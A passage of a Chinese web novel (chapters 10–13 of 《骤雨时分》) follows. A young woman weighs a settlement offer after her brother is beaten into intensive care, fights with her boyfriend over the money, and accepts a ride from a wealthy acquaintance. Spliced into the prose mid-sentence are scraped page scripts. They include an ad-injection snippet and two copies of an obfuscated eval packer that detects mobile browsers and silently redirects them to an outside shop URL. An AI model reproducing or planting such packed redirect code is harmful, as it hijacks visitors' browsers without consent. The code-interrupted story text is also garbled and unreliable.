夫妻两人都没发来消息,倒是家族群大爷二姑几人时不时地@陈易,问陈恩现在的情况。陈易没看到陈易,也不敢乱说,只能当做没看见消息。苏姨给她转了五千块钱,留言让她照顾好自己,别把身体熬坏了。 陈易拿出行李箱,简单收拾了几件衣服,陈易提前做准备,如果需要陪床她随时都能去。 下午警察局那边给她打电话,陈易到达的时候,章桓律师还有一个看似是助理的人在门口等待。一看见陈易,马上换了和善的笑容伸出手准备握手打招呼,陈易对这人没有好感,只礼貌地笑了笑并未伸手。 “陈小姐,我是章律师,今天上午我和李助理有去医院探望您弟弟,对于您弟弟的现状深表同情。”章律师的脸上流露出一丝丝惋惜。 “杀人犯还有辩护律师吗?”陈易轻飘飘地一句话,却使对方的神情突然严肃起来。 “陈小姐,请注意您的措辞。” 一旁的李助理的态度相对来说客气些,他对陈易说道:“陈小姐,您可以听一下我们的和解方案。首先您弟弟和我方余小姐的朋友之前有过口头纠纷,当天也是因为摊位引起争执。前期双方都有互殴行为,余小姐作为一个旁观者却参与其中,导致您弟弟目前的伤情相对比较严重。” “相对比较严重?”陈易扯了扯嘴角,这用词还真是讽刺,“和谁相对的比较?在ICU躺着至今仍有生命危险,只是比较严重吗?” 章律师试图稳定住陈易的情绪:“陈小姐,请您注意……” “你老大在哪?我问问他被人打得半死要多少钱才能和解?”她冷冷地看着对面的二人,丝毫不惧的样子让他们觉得有些难办。 李助理面露难色,到一旁给林想打电话,简单说明了情况。 “林总现在有点事,还请您稍等片刻。” 陈易低头看了一眼手机,坐在派出所里面的座椅上,“好啊,我等着。” 10. 不期而遇 《骤雨时分》文/薄荷小企鹅 2024/10/19晋江文学城首发 - 半晌的时间过去了,李助理给陈易点了奶茶和欧包,一度尝试和陈易拉近关系。 “陈小姐,冒昧问一下,您现在也在上大学吧?”李助理刚把奶茶递到陈易面前,就被陈易拒绝了。 “似乎和我们要谈的事情没关系吧,”她靠在椅背上,淡淡道,“我弟弟一旦出事,那位余小姐就是杀人犯,还有在医院装伤的那位也是帮凶。” 李助理尴尬地笑笑,没想到这么好看的美女说话却这么严肃,让他连个能说的话题都找不到。 三个人在警局里面等,陈易收到了爸爸发来的消息。 【七七,我和你妈妈都在家,你也回来休息吧。你大姑和叔叔在那边看着,有事会叫我们的。】 陈易用手机回复消息的时候,林想刚好把车停在路边,章律师和李助理认得那辆宾利欧陆,于是起身开门迎接,只有陈易抱着手臂冷冷地睨着他。 “美人,见到我就这么生气啊?”林想唇角带笑,还是那副调笑轻松的口吻,还对陈易竖起了大拇指:“比昨天还好看,就是表情冷冰冰的,我不喜欢。” 说话的间隙,陈易手机又响了,她瞥了一眼来电,接了电话。 张志漫已经到了B市中心地段,上了出租车才给陈易打电话:“小易,我来B市看你了,你早上说完我就包车过来了,你现在在哪呢?” 陈易没想到张志漫会过来,看到旁边的三人,犹豫了下,低声说道:“我在蓝海区警察局,你现在过来的话,可能也不太方便。” 张志漫说:“没事,我看看什么情况,你现在身边也需要个人。” 说实话,陈易是被张志漫感动了一下,但是挂了电话又不得不面对现实。 林想以为二人在来之前已经谈了赔偿,听完李助理的报告,看向陈易的眼神饶有兴味。 “之后的医疗费用我们全出,赔偿20万。”林想笑着说,很明显他还不明白事情的严重性。 陈易起身就要离开,林想微微蹙眉,道:“人死了不过赔偿五十万,更何况你弟弟又没死。” 你弟弟又没死?看来巴不得人直接死了,不然哪有这么多事。陈易听得想笑,背着身继续说:“医院的情况你有了解吗?赔偿的钱够一年的康复费用吗?” 章律师率先出口,反驳陈易的要求:“陈小姐,现在余小姐的朋友也在住院,如果谈赔偿,你们是不是也应该赔偿?” “好啊,从我弟弟的赔偿里面扣。”陈易冷冷道。 几人僵持了有一阵子,陈易到警局外面透透气,与此同时张志漫刚好到了,他身上背着健身包用来装临时出行的物品。 “你再回去和家里人考虑一下,治疗费之外30万,”林想挑眉说道,语气颇有警告意味:“这么小的事情,别僵持到最后鱼死网破。” 待一行三人离开,在一旁远远观察的张志漫才过来问什么情况,陈易和张志漫讲了大概,张志漫拉住她的手,表情十分严肃。 “小易,你觉得多少钱合适?” 陈易被张志漫这话问懵了,她第一次经历这样的事情,只为了弟弟考虑觉得三十万似乎还不够用。 “我不知道,我弟弟现在这样的身体情况,就算恢复了可能之后很多工作都不了,”陈易叹了口气,“更何况发生了这样的事情,他肯定要休学,心理和精神上的创伤要怎么办。” 张志漫思索片刻,认真地说:“小易,你之前和我说过,你弟弟现在是读大专对吗?你想想大专即便是毕业了,一个月工资三四千块钱,一年也才四万块钱,30万要他不吃不喝地打工近十年。” 陈易没说话,她不否认张志漫所说的事实,弟弟从小就不爱学习,上了大专也在专业课挂科,心思都用在直播和摆摊上。 “如果我是你,我就同意要这30万,有了钱还需要工作吗?”张志漫凭空想象着这样的场景,语气像是很羡慕一样,“我家里要是能碰上这样的事情,我也就不用像现在这么拼了。” 陈易和张志漫的家庭环境不同,陈易从小的时候,父亲就创业开吐司面包店,一年的净利润差不多也有二十多万。母亲何清婉是音乐机构的琵琶老师,每年带学生加分红也有二十多万,所以三十万对她的家庭来说,并没有张志漫嘴里描述的那么难。 见陈易还在犹豫,张志漫又换了个说话方式:“小易,你想想,A市的房价才多少,三十万差不多够付个首付了。到时候你一毕业,我们就在A市首付买套房,之后我们公积金还房贷,就会轻松很多。” 陈易不敢置信这话是从张志漫嘴里说出来的,“你在说什么!”用弟弟的赔偿金自己付首付?亏他想得出来! 张志漫不理解陈易为何情绪激动,皱眉道:“我胡说什么了?你不为别人考虑,你也得为自己考虑啊。你弟弟就是一个大专的,出来他能干什么?去工地搬砖?还是去电子厂的流水线组装零件?” 简直无可救药!陈易忍住即将爆发的情绪,忽然看见了张志漫脚上的那双限量款的宝石蓝AJ。 “张志漫,我不会动一分我弟弟的赔偿金,”她语气轻飘飘的,却是第一次、故意说出这么伤人的话:“倒是你,用你比赛的奖金攒攒首付,比你买几双限量版的AJ强。” 张志漫一开始还没听懂陈易的意思,直到听到后半句的时候,他才发觉自己是被侮辱了,瞬间脸色铁青。 “我一大早烤肉拌饭都没来得及吃就跑到B市来关心你,结果过来是让你这么羞辱我的是吧?”张志漫的手有些颤抖,推了一下因为脸上的汗轻微滑落的黑色边框眼镜,愤怒使他情绪波动很大,“陈易你记着,你还欠我一双AJ呢!” 说完,张志漫不等陈易的回应,他以掩耳不及迅雷转身就冲向马路,一辆迈巴赫从路边驶过,张志漫吓了一跳险些撞到,好在迈巴赫在距离他几厘米的地方急刹车停下来了。 他气得跳脚,大骂了一句:“操!开那么快有本事撞死我!” 张志漫翻了个白眼,待他看清车牌后,又突然像是心虚一样移开视线。张志漫看见车窗降下来,心中有一种不好的预感,刚好后面有一辆空车的出租车路过,他果断招手叫停,像夹尾巴的狼一样匆匆“逃”上了出租车。 陈易觉得像看电视剧一样,明明张志漫不看来往的车辆转头就冲马路上,理亏还要骂人。 梅赛德斯的车窗降下来,车里的男人看了站在路边的陈易一眼,眼眸微眯,语气还算温和:“刚刚那位是你朋友?”陈易看向车内的人,熟悉的面容和温和的声音让她呼吸一滞。 这么巧?陈易心想怎么总是在自己最狼狈的时候遇见他,她恨不得找个地缝钻进去。 陈易“嗯”了一声,有些愧疚说道:“他情绪上头就特别冲动,刚才对不起啊。” 肖玄疏轻哂,“你不用替他道歉,你又没做错什么。” 男人的话语似是一缕温暖和煦的风,缓缓拂过她的耳边。陈易经历了两天精神上的折磨,当看见他那双温柔带笑的眼睛,陈易觉得自己忽然放松下来,和他这个“陌生人”相处似乎也不需要想那么多。 “刚好路过,你要去哪儿,我送你一程?”肖玄疏见陈易沉默的样子,他弯唇笑道。 陈易内心的理智想要拒绝,却鬼使神差地点了点头。上车的时候拉开副驾驶的门,像是忽然想到了什么一样,还是选择坐到后面的位置。 “锦澜小区,在霖福山商场附近,”陈易不知道他认不认路,想了想补充道:“西安大街和曲文路交汇处。” “嗯。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”男人开车平稳,过程中也很专注,不会让人觉得晕车或者突然颠簸。 车内是熟悉的淡淡的雪松相思木交缠的温柔味道,过于安静的氛围让她有些坐立不安,平时坐出租车的时候,司机要么放音乐要么听广播,而这人安安静静地专注开车,陈易也不敢打扰怕影响他的注意力。 拥堵的路口等待漫长的红灯,男人的右手从一直搭着的方向盘上移开,陈易注意到那双干净的手上没有任何装饰,修长的手指白皙好看。 最怕气氛安静得尴尬,陈易忍不住了,小心翼翼地找了个话题:“请问您是给C大修缮图书馆投资的那位老板吗?”上次见他酒席是在坐在主位,众人特意等他到了才动筷子,他应该算是那场酒席里比较重要的人物? “算是吧,”男人通过车内的后视镜看着坐得板正的陈易,他笑了一下,好心提醒:“你不用这么紧张,还有,最好系一下安全带。” 陈易闻言下意识摸了摸身前空荡荡的空气,手忙脚乱地扣上安全带,转头看见后面的车离得还有一段距离。 她忽然想到网上偶尔刷到豪车视频,前后左右的车都会离得相对比较远,她问过陈恩为什么,陈恩说怕不小心碰到赔不起。陈易不懂车,也不了解这辆车的行情,只觉得车内的空间布局比家里那辆丰田豪华精致,肯定要贵很多。 “我还想请教您一件事,”陈易不知自己怎么会冒出这个想法,或许是刚才的事情让她内心久久不能平静:“如果有人恶意伤害了你的兄弟姐妹,你觉得大约要对方赔偿多少才能和解?” 经过了短暂的绿灯后,漫长的红灯仍在继续,每一辆车像是在车流中缓慢挪动了一下就又停止了。 肖玄疏沉吟片刻,“大概不会接受和解,”他的语气平淡而疏离,坚定的口吻仿佛已经给人审判:“赔偿并不能解决问题。” 是啊,对于他们来说,钱只是一个数字。而对于陈易的家庭,钱是要他们一生为之奋斗的目标…… 她知道这不是自己想要的答案,ICU的后续治疗费会有多少?几十万?上百万?如果父母几个月不工作照顾弟弟,尤其爸爸是作为连锁的两家吐司店的面包师,吐司店的员工工资和门店租金也是一笔巨大的支出。 这对他们家来说,根本不现实。 见陈易没有说话,肖玄疏问她:“你呢?你会怎么决定?” 陈易藏起情绪,故作坚强地迟疑道:“我可能……也不会原谅对方吧。”明明对方和自己不是同类人,她怎么会想起来要问他呢?同有钱人讲钱,简直是自取其辱。 陈易忽然转过脸去看窗外的风景,不想让对方察觉自己的窘迫,内心情绪仍旧五味杂陈。 过了红灯的路口,转了个弯就到小区附近了。肖玄疏的车开进了小区,正是下班的高峰期,小区里来往的车辆很多,如果车子再开一段距离就很难转弯出去。 “停到这边就好,谢谢。”陈易下车前左顾右盼,有点担心会被认识的邻居看到。 “嗯。”男人似乎看出她的担心,下车前将车窗升上去,待她下车后从侧面的小路驶车离开。 陈易在等电梯的时候,听见身后有人叫她,陈易还以为自己幻听了,一转身看见了手里拿着烟的爸爸。 “七七,”陈易爸爸有些不确定地回头看了一眼,但刚才的那辆梅赛德斯早已无影无踪,“刚才那个是你男朋友?” “刚才?”陈易有些诧异,难道张志明在跟踪她?她也随着父亲的视线往外面看,忽然想起来爸爸就在自己后面进来的,可以说前脚挨着后脚。 陈易爸爸见女儿惊愕的样子,轻叹一声。当他看见女儿从梅赛德斯下来的时候,心中也是如此的震惊。 陈易爸爸沉住气,语重心长地说:“七七,小恩的治疗费你不用担心,你不要委屈自己。” 11. 心事 《骤雨时分》文/薄荷小企鹅 2024/10/20晋江文学城首发 - 陈易这才反应过来父亲所言之意,她咽了咽口水在想如何解释。 电梯“叮”的一声到了1楼,随着里面的人从电梯里出来,陈易爸爸将烟熄灭丢在垃圾桶上的烟灰缸里。父女二人进了电梯,陈易先一步去按12楼的楼层按钮,父亲刚伸出来的手又收了回去,陈易犹豫着小声解释。 “爸爸你想多了,他听说了小恩的事情,今天特意从家那边过来的。”陈易掠过了和张志漫吵架的过程,话语中含糊其辞。 陈易爸爸以为那人就是女儿所提过的男朋友,这才松了一口气,“七七,过段时间,你可以带男朋友来家里坐一下。” 陈易嘴上答应,心里却是五味杂陈。 何清婉见父女俩一起进屋,心里微微诧异:“七七,你刚才上哪去了?”回来的时候没看见陈易,还以为着急去哪,结果父女俩人一起回来了。 陈易进屋洗手,坦率和何清婉提及弟弟的事情:“肇事者家属那边想让我签谅解,说医疗费外加三十万,我没同意。” 何清婉把煮好的面条端上桌,默不作声给父女俩拿筷子,一家人从开始忙到现在,一天一夜没有休息了,心理状态都不太好。 陈易爸爸用筷子挑起碗里的面条,语气沉重:“如果医疗费真的全包的话,其实给的不少了。”陈恩只缴纳了社区医保,早些年没有意识没买其他保险,所以这两天由于支付医疗费用,常用的银行卡都单日限额了。 陈易对医疗费没有太多概念,只觉得三十万用于赔偿就像是一颗小石子掉进了水里。 “今天上午他们也来医院了,”何清婉的语气相对平静,不做定论,“上午说的是给20万,我和你爸没想那么多,就说再考虑考虑。” 陈易也在想着这件事,心绪重重地埋头吃面。一家人不到十分钟吃完了面,陈易爸爸让俩人回屋里休息,自己换上围裙进厨房洗碗。 陈易躺在床上打开手机的聊天软件,张志漫没有给她发任何消息,陈易点开张志漫的朋友圈,发现张志漫把自己屏蔽了。平时张志漫也很少发朋友圈,所以只有一种可能——把她拉黑了。 之前两个人吵架有时候张志漫就会拉黑她,三番五次陈易也习惯了,张志漫身上唯一好的一点就是会主动给她道歉,只是不知道这次…… “咚咚咚”敲门声,陈易正要下床开门,何清婉端着一盘切好的苹果推门而入。 何清婉将水果放到桌子上,自己则坐到椅子上,陈恩的事情让她最近愁容满面,肉眼可见得憔悴许多。 “七七,我刚才和你爸商量了一下,除了医疗费用再赔偿三十万的话,咱家可以考虑一下,”何清婉刚才在饭桌没说出来的话,现在都讲了出来,“而且下午你大舅路过肇事者病房,听见他们说小恩一起出摊那个同学已经同意和解,咱们这边咬着不撒口也不现实。” 原本陈易还想反驳一下,听到这里又沉默了。 “最担心如果小恩这两天醒过来、他们看情况好转又反悔,”何清婉也咨询了律师,虽然很多时候原告会要求被告赔偿很多,但最后真正判赔的数目都不多,“今天同意赔偿30万,过两天多少就不好说了。” 陈易手里抱着枕头,眼睛有点红。 “妈妈,小恩出事前,在手机上给我买了一条三千多的裙子作为生日礼物,”她看到放在床头柜上的陈恩手机,眼里有朦胧的水雾,“我本来想着回来就把它退了,可是……”如果不是为了这件昂贵的裙子,小恩就不需要那么拼命地赚零用钱,也不会发生现在的事情。 何清婉心里也很难受,只是努力没有表现出来。这两日天为了陈恩的事情操碎了心,平时优雅意气风发的母亲,今日却变得沉静寡言。 何清婉看着陈恩那部屏幕碎裂的手机,叹声道:“留着吧,无论如何也是他的心意,我们在这里私自决定退掉,如果他知道肯定很伤心。” 陈易把脸埋在枕头里,何清婉声音忧愁:“等国庆放假过后,我们去给小恩办理休学吧。” 陈恩的状态短期内都没法回去上学,而且最关键的是陈恩醒来后,到底能不能过得去心理上的那一关。很多人经历了类似的事情,即便身体痊愈,也会有创伤后应激障碍,甚至抑郁自杀。 - 林想今天约的地方是B市新开的一家日料店,预约制度,好在好人脉有钞能力,林想不到十分钟的时间顺利入店。 一个临江的包房,林想站在落地窗前抽烟,手里刷着短视频,完全没注意到肖玄疏什么时候进来的。 “最近怎么神出鬼没的,走路静音了?”林想叼着烟,把手里的烟盒扔到肖玄疏手里,肖玄疏毫不留恋地反手又给他扔回来。 “怎么,今儿个戒烟了?不像你啊。”林想把手里的烟掐灭,侧头笑问他。 肖玄疏落座,脱掉外套松了松领带,“老爷子今天早刚出手术室,闻不得一点烟味,让家里几个都不许抽烟。” 林想装模作样地给他倒茶水,顺手挑逗似的拿出根烟在他面前晃:“没事儿,你现在抽,回去保管他闻不出来。” 肖玄疏没搭理他,懒懒地往椅子上一靠:“李世怎么还没来?” “他呀……磨磨蹭蹭才过来,每次咱们一叫他,他家里保准找他有事儿。”林想本来也没打算等李世,叫服务员上菜。 服务员手里推着装食材的小推车,身旁跟着厨师,厨师是个笑眯眯的日本老头,叽里呱啦说了一堆,带着表演性质开始展示制作刺身的技术。 两份刺身下肚,换了一位厨师进来做铁板烧,李世风尘仆仆推门而入,看见已经开动的两人,不满地说道:“啧,你俩不等我!” 林想慢悠悠地喝着茶:“你来太晚了,刺身凉了不好吃。” 李世一脸不屑:“骗鬼呢,你家刺身是热的?” 李世连凳子都没坐热,家里又给他打电话,他骂了一声烦躁地去阳台接电话,肖玄疏想起昨天老爷子说的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982176|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林想,你手里在做的那家网红公司怎么样?”肖玄疏问他。 林想顿了下,不知肖玄疏有什么打算,思索片刻,说道:“还好,前几年赔了点,这两年也赚回来了。” “我想投点进去,你觉得多少合适?”肖玄疏语气笃实,一点也没有遮掩的意思。 林想刚把茶杯递到嘴边,不知是被茶水烫到还是被肖玄疏的话惊到,咳了一下惊慌地放下茶杯。 “成啊,你投多少都行,我没意见。”公司去年从市中心的衡商大厦搬到新地址,目前还在起步阶段,多一个人股东少一个股东都有利弊,但对方是肖玄疏,林想没得选择。 “股东还有谁?”肖玄疏问他。 “小霖当初也投了一百万,还有我另一个你不认识的朋友投了两百万,不过他们都不管事儿。” “行,我过两天有空找你。”肖玄疏最近被老爷子要求盯着C大的项目,C大修缮图书馆的事情从年初快拖到了年末,而且自家娱乐公司投资一部剧借用C大部分教学楼,国庆一过剧组就要开拍。 “你家里没给你安排点职务?”林想觉得肖玄疏每次的行动都让人猝不及防的,就像上次说走就走,真怕他不知道什么时候又玩失踪。 肖玄疏轻佻看他,一副很是欠揍的样子:“安排我监督你。” 李世刚好挂电话过来,听了一半插嘴道:“监督?我爸倒是安排了个人监督我。”李世不明白自己老爹最近怎么了,让一个朋友家的女儿来家里玩,李世见了几次没什么想法,本以为这事就这么放一边了,没曾想对方相中了他。 林想一副恍然大悟的表情,难怪最近看李世忙得很,原来家里是给他安排得明明白白。 “谈呗,反正你又不吃亏。”林想隔岸观火,反正火烧不到自己身上。 李世点头:“行,反正我谈不下去就把她介绍给你,免得你深夜寂寞还要跑酒吧找美女。” “我在你嘴里就没啥好话,”林想冷哼一声,眉头蹙着佯装怒意,“我不信你婚后就不会出来玩,男人好色怎么了?” 李世“啧啧啧”地只摇头不说话,像是嘲讽的态度,林想把征求认同的目光投向肖玄疏的时候,肖玄疏淡然自若地喝着茶,唇边带笑的样子仿佛不敢苟同。 “你前女友那事最近怎么样了?”李世想起前几天的事情,换了个话题。 “余雯星把人打住院了,视频都让路人给发网上了,还好律师看见了,不然闹大了她就得凉凉。” 李世“啧啧”了一声,贱贱地说:“这要是我就不管她,分都分了有什么关系的……你说是吧。”林想隔三差五不是酒吧就是会所,身边从来不缺女人,干嘛分手了还顾及上一个的死活呢。 林想拿了颗糖果扔嘴里:“你别说,因为这事儿我也碰见个美女,多少不算亏。” 李世根本不信林想的话:“以你的审美,看谁都是美女。” “这回是真美的那种,气质型的温婉大美人,”林想摸着下巴回想,补充道,“就是脾气不太好。” 12. 虫鸣 《骤雨时分》文/薄荷小企鹅 2024/10/21晋江文学城首发 - 转眼间国庆的小长假已经到了最后一天,陈恩虽然稍有好转但仍在ICU观察,每天家属探望的时间只有一小时,即使进去探病,以陈恩现在的状态也很难说上几句话。何清婉和陈易在医院开了证明,把陈恩休学要用的材料复印出了两份。 陈恩大部分时间都是昏睡的状态,根据医生所说,陈恩的头部有轻微淤血,如果恢复不好后面可能二次手术。 陈易预缴了接下来几天的住院费用,顺便到住院部看一下弟弟。她站在病房外面静静地探望,刚好陈恩是醒着的状态,他抬眸好奇地往外看,透过ICU厚厚的玻璃看见了陈易,就那样静静地看着她,苍白的脸上显得虚弱无力。 站在走廊的陈易紧张又兴奋地和弟弟挥挥手,陈恩身子动了动似乎是想坐起来,但是全身没力气就连起身的动作都十分困难。换药的护士刚好进去给陈恩换了瓶吊水,推着医护小车出来的时候好心提醒陈易。 “病人现在需要好好休息,如果情绪波动特别大,对恢复也有影响。” 陈易低声道谢,转头看向病房内的弟弟,只见弟弟无声地流着眼泪。很显然陈恩也看见了陈易,他用刚才扎针的手挡在脸上,不想让姐姐看到自己流泪的样子。 陈易的心里像是被揪住了一样,走廊里来往的家属发出的嘈杂声音掩盖了她沉重的呼吸,她的手落在厚重的玻璃窗上,指尖想要描摹出他的身影,却被呼吸的哈气再次遮挡住。 刚复印材料回来的何清婉看见在走廊呆站着的陈易,往病房里面看了一眼,关心地拉住女儿有些冰凉的手。 “七七,小恩睡着了,我们明天再来看小恩。” 国庆之后,陈易和导员请了十天的事假,一方面给陈恩办理休学的手续,一方面在家里帮帮忙,父母的工作都不能耽误,所以医院的通知或是肇事者这边都由她来对接。然而从始至终肇事者及其家属都没有来道歉,何清婉也接受了对方律师提出的赔偿金,似乎这些事情就告一段落。 期间张志漫没有给陈易打过电话,陈易发过去的聊天消息显示失败被拉入黑名单。陈易心想大不了就这样结束,反正冷战又不是一次了,可等她回到学校的时候,室友孙美黎告诉她,张志漫今天上午来找过她。 陈易只点点头,接着把行李箱的东西拿出来,换上睡衣,像是对此并不关心一样。 室友李眉的男朋友和张志漫一个寝室,李眉觉得陈易这状态不对,于是试探地说道:“小道消息,张志漫还跟我男朋友打听过你,我就说你一直没回学校。” 室友还不知道他们之间发生了什么,孙美黎也以为只是情侣间的小打小闹,拿着手机头也没抬:“哎呀没什么大不了的,过两天就好了。” 陈易“嗯”了一声,把从家里带回的手作吐司和小蛋糕分给舍友,杨甜甜是寝室里年龄最小的,也是最贪吃的,才吃了一口吐司就开心原地转圈圈。 “哇这吐司还有馅!南瓜的还是地瓜的?我没吃出来呢,不过好好吃啊!” 孙美黎没拆封自己那份,顺手从杨甜甜的吐司上面揪了一块,“你怎么跟吃过面包似的。”刚吃到嘴里,发现这吐司味道还不错,拿起吐司的外包装看了看,发现是自己没见过的牌子。 “小易,这是B市特产啊?我在C市没见过这面包呢。” 陈易点头:“特产倒不算,自己家做的。”话音刚落,李眉也趁机抢了一块杨甜甜的吐司,然后肯定地点点头。 吃了晚饭的几个人不约而同把凳子拼在一起,又拿出了矮脚板凳。孙美黎用一次性纸杯装了四杯汽水,杨甜甜也拿出自己今天才买的辣卤鸭货,李眉把自己的辣味脆脆肠给大家分发。 “小易,你这几天没回来,请假要扣好多出勤分啊,”孙美黎边吃边帮陈易出主意,“要不你去老师那里卖卖惨,说不定就不给你扣了。” 出勤分占期末成绩的一半,间接地会影响到绩点,陈易请假了十天,肯定每门课程都有影响。 李眉觉得这方法行不通:“那么多课,总不能找每个老师都哭诉一遍吧,万一改出勤被导员发现了就糟了。” 杨甜甜倒不觉得有问题,津津有味地啃着鸭锁骨,说道:“这有什么的,之前听隔壁班的说刘露珈就请了三天病假,好像出勤都没给她扣分。” 孙美黎敲了一下杨甜甜的脑门儿:“天真!听说刘露珈家里亲戚是校领导,咱普通人能和她比吗?” “对哦,我都给忘了,”杨甜甜吮着鸭锁骨,眼睛转了转,分分钟想出好主意,“要不直接找导员吧,之前咱班长有一门科挂了,但是他老帮导员干活啊,后来不知道怎么就给改过了。小易你上次自愿留校参加跳舞排练,导员肯定记得你啊。” 陈易默了片刻,其实她根本没想过要改出勤,虽说大家看不到出勤,但是多少都会从期末成绩里看出区别,况且她在学生会并不活跃,跟导员也搭不上几句话。 “小易,我和你说,前天还有个大事你都错过了,”杨甜甜吃到美食就手舞足蹈变成话痨,“前天《凉城未晚》剧组开机仪式,就在12教那边,当天来了好多明星捧场,我还抢到了张签名呢。” 杨甜甜起身就要去给陈易拿签名照,但是一看自己两手都是油,只好又坐回到凳子上,动作有些蠢萌:“等会我吃完拿给你看!” 李眉是个电视剧迷,平时对这些了解的比杨甜甜多:“《凉城未晚》校园小说改编的,宣传一年多总算是开拍了,就是不知道年前能不能播出。”一屋四个人从晚上边吃边聊到快熄灯,听见走廊匆忙来往水房的脚步声,陈易抓紧时间提着热水壶去接开水。 翌日,陈易和室友去上英国文学课的路上偶遇张志漫,张志漫和几个朋友在一起谈笑风生,见到陈易突然变了脸色。 双方好友暗自领会,像是达成共识一样找个借口离开,走出几步还不忘狗仔地转头看看身后的两人。 来往的路人也有赶着时间去上课的同学,张志漫把陈易拉到一个人少的地方,有些气愤地问她:“你什么时候回来的?我都不知道,你这十多天干嘛去了?” 陈易的视线低垂,看着地上的石头:“你不是知道我在忙什么吗?” 张志漫继续反问:“所以你为什么十多天不联系我?” 陈易轻踢了一下地上的石头,语气淡淡的:“你把我拉黑了呀。” “那你可以给我打电话呀!” 张志漫一脚把那块石头踢飞,这几天他都按捺不住了,来宿舍楼下找陈易好几次,看见了她的室友就问,结果都是她不在学校的消息。要是陈易再不回来,他就真的要去她家里找她了! 陈易坦白:“我没心情。”那天两个人闹到那种地步,张志漫不辞而别,她还以为这么久的冷战是要分手了呢,明明张志漫一个简单粗暴的拉黑,还想让她腆着脸给他打电话? 陈易此刻再次扪心自问,她有错吗?没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982177|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。即便是赔偿金有30万,她也不会像张志漫那样觉得这笔钱应该给到自己留着买房子。 张志漫脸色不好看:“什么意思?你说清楚。” 陈易懒得理他,眼看上课快要迟到了,“我要去上课了,周末有空的话我们再聊。”不等张志漫再喊住自己,陈易匆匆地快步往6教的方向走。文学课老师的课堂一向管得很严格,无论是迟到还是上课手机发出声音,都要上台给其他人表演个节目逗笑大家才行。陈易哪能丢得起那脸,从一开始的大步走变成了小跑。 气喘吁吁地总算赶在文学课老师之前进入了教室,陈易把手机调至静音状态,孙美黎她们在后面给陈易占了个座,在这边的角落即使看一下手机也不会被发现。 文学课老师点名,听到陈易的“到”又抬头看了她一眼,会心地点头示意。 文学课是一个半小时,中途休息十分钟。旁边的同学都去洗手间了,陈易拿出手机看了一下聊天消息,果不其然,这期间张志漫轰炸般地发来了一堆消息。 陈易简单看了一下,张志漫发得都是各种抒情类的话,闭口不提上次的事情,但陈易还记着自己欠他一双AJ,所以用购物app查了一下。不知何时孙美黎凑到陈易边上,看见陈易在挑选男生的鞋子,突然捂着嘴姨母笑。 “你这刚回来就要给他买礼物呀?” 杨甜甜也才回来,只听“礼物”二字,便开始接话:“什么礼物?谁过生日要买礼物?” 陈易做了一个“嘘”的手势,把手机收起来,“别乱说,我不是要买礼物。”按照张志漫说的,那是“欠他”的。 李眉说:“小易,我记得你生日是月末吧?到时候打算请我们吃点什么?” 杨甜甜一马当先,举手说道:“去年李眉订的蛋糕,那今年我来买生日蛋糕,其他吃的你俩分担。”话音刚落,孙美黎一手一个掐住俩人的后脖颈,“行啦你俩就知道捣乱,去年是去年,今年小易不是有对象了吗?” 李眉会意地点头,故意拉长着声音“哦”了一声,杨甜甜半天才反应过来她们是什么意思。有对象了当然是要和对象一起过生日啊! 文学课下课,陈易和几人经过6教大厅的公示栏,上面贴着两张最显眼的公告。一张是“欢度国庆-答谢之夜”表演的奖状——外国语学院《点点星烁》荣获二等奖,另一张是今年奖学金名单公示。 陈易从第一行开始看,国家奖学金一共有五个人,商务英语专业是刘露珈。剩下几个其他专业的陈易不认识,省奖学金也没有自己的名字,然后是励志奖学金…… 李眉几人本来都走出一段距离,转过头发现陈易站在公示栏那边。李眉回过神来把陈易拉走:“那个奖学金的公示都贴好几天了,我就知道肯定是刘露珈拿了,不过我们还奇怪呢,今年省奖你怎么也没评上啊?” “我不知道什么时候评的。”陈易实话实说,甚至今年都没提交报名表。 “就是这几天啊,国庆一回来导员就催着交表格了,还有那个助学金的,群里都艾特全体成员好几次了。” 陈易想起来自己请假了十天,也没来得及看学员群消息,自己不关注也怪不得别人。陈易有点心烦意乱,只不过请假短短的十天,自己却好像错过了很多事情。 “对了小易,还没问你请假这几天是什么事情呀?家里发生什么啦?”走起前面的孙美黎听见身后的对话,停下脚步转头关心询问。 陈易抿了抿唇:“没什么事,我们走吧。” 13. 算卦 《骤雨时分》文/薄荷小企鹅 2024/10/21晋江文学城首发 - 大约花费一周的时间,陈易才把这段时间落下的功课补回来,大部分的作业基本都补交上去了,有几门课程的老师看在她态度好的份上补了平时表现分,专业课老师找陈易谈了一次话,大概是从导员那里得知了情况,安慰陈易继续努力争取保研的机会。 陈易从教学楼回宿舍的路上,只见几个同学手里拿着海报往12教的方向跑,嘴里念念有词。 “快点,刚才我室友还和那几个明星合影了,我们应该也能赶得上。” “来得及来得及。” 陈易想起杨甜甜说有个剧组在12教那边借用场地拍摄,这几个人大概率就是去找明星签名的。光顾着看他们,一不注意撞到了人,陈易慌乱中低头道歉:“不好意思。”对方没有生气反而扶住了她的手臂,叹着气摇了摇头。 “小易,你到底要躲到什么时候?”张志漫看向陈易的眼神中充满了忧郁,这几天他一直给陈易发消息打电话,陈易也不接不回,旁敲侧击通过陈易的室友知道她最近跑在图书馆,他去图书馆找了几次也没见她半个人影。 